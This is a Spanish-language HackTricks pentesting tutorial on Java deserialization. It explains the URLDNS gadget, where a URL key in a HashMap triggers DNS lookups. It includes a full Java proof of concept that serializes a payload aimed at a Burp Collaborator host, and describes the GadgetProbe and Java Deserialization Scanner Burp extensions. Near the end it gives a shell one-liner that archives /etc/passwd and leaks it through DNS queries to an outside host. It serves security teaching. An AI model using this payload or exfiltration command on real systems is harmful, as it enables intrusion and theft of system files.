hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

12 KiB

Java DNS Deserialization, GadgetProbe y Escáner de Deserialización Java

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Solicitud DNS en deserialización

La clase java.net.URL implementa Serializable, esto significa que esta clase puede ser serializada.

public final class URL implements java.io.Serializable {

Esta clase tiene un comportamiento curioso. Según la documentación: "Dos hosts se consideran equivalentes si ambos nombres de host se pueden resolver en las mismas direcciones IP".
Entonces, cada vez que un objeto URL llama a cualquiera de las funciones equals o hashCode se va a enviar una solicitud DNS para obtener la dirección IP.

Llamar a la función hashCode desde un objeto URL es bastante fácil, es suficiente con insertar este objeto dentro de un HashMap que va a ser deserializado. Esto se debe a que al final de la función readObject de HashMap se ejecuta este código:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Se ejecutará la función putVal con cada valor dentro del HashMap. Sin embargo, más relevante es la llamada a hash con cada valor. Este es el código de la función hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Como puedes observar, al deserializar un HashMap la función hash va a ser ejecutada con cada objeto y durante la ejecución de hash se va a ejecutar .hashCode() del objeto. Por lo tanto, si deserializas un HashMap que contiene un objeto URL, el objeto URL va a ejecutar .hashCode().

Ahora, echemos un vistazo al código de URLObject.hashCode():

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Como puedes ver, cuando un URLObject ejecuta .hashCode() se llama hashCode(this). A continuación puedes ver el código de esta función:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Puedes ver que se ejecuta un getHostAddress al dominio, lanzando una consulta DNS.

Por lo tanto, esta clase puede ser abusada para lanzar una consulta DNS y demostrar que la deserialización es posible, o incluso para exfiltrar información (puedes agregar como subdominio la salida de una ejecución de comando).

Ejemplo de código de carga útil URLDNS

Puedes encontrar el código de carga útil URLDNS de ysoserial aquí. Sin embargo, solo para facilitar la comprensión de cómo codificarlo, he creado mi propio PoC (basado en el de ysoserial):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Más información

GadgetProbe

Puedes descargar GadgetProbe desde la tienda de aplicaciones de Burp Suite (Extender).

GadgetProbe intentará determinar si algunas clases de Java existen en la clase de Java del servidor para que puedas saber si es vulnerable a algún exploit conocido.

¿Cómo funciona?

GadgetProbe utilizará la misma carga útil de DNS de la sección anterior pero antes de ejecutar la consulta DNS intentará deserializar una clase arbitraria. Si la clase arbitraria existe, la consulta DNS se enviará y GadgetProbe notará que esta clase existe. Si la solicitud de DNS nunca se envía, esto significa que la clase arbitraria no se deserializó con éxito, por lo que no está presente o no es serializable/exploitable.

Dentro de GitHub, GadgetProbe tiene algunas listas de palabras con clases de Java para ser probadas.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Más información

Escáner de Deserialización de Java

Este escáner se puede descargar desde la tienda de aplicaciones de Burp (Extender).
La extensión tiene capacidades pasivas y activas.

Pasivo

Por defecto, verifica pasivamente todas las solicitudes y respuestas enviadas buscando los bytes mágicos serializados de Java y presentará una advertencia de vulnerabilidad si se encuentra alguno:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Activo

Pruebas manuales

Puedes seleccionar una solicitud, hacer clic derecho y Enviar solicitud a DS - Pruebas manuales.
Luego, dentro de la Pestaña de Escáner de Deserialización --> Pestaña de pruebas manuales puedes seleccionar el punto de inserción. Y lanzar la prueba (Selecciona el ataque apropiado dependiendo del codificado utilizado).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Aunque se llama "Pruebas manuales", es bastante automatizado. Comprobará automáticamente si la deserialización es vulnerable a cualquier carga útil ysoserial verificando las bibliotecas presentes en el servidor web y resaltará las vulnerables. Para verificar las bibliotecas vulnerables puedes seleccionar lanzar Javas Sleeps, sleeps a través del consumo de CPU, o usando DNS como se mencionó anteriormente.

Explotación

Una vez que hayas identificado una biblioteca vulnerable, puedes enviar la solicitud a la Pestaña de Explotación.
En esta pestaña debes seleccionar nuevamente el punto de inyección, escribir la biblioteca vulnerable para la cual deseas crear una carga útil y el comando. Luego, simplemente presiona el botón de Ataque apropiado.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Información de Exfiltración DNS de Deserialización de Java

Haz que tu carga útil ejecute algo como lo siguiente:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Más Información

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: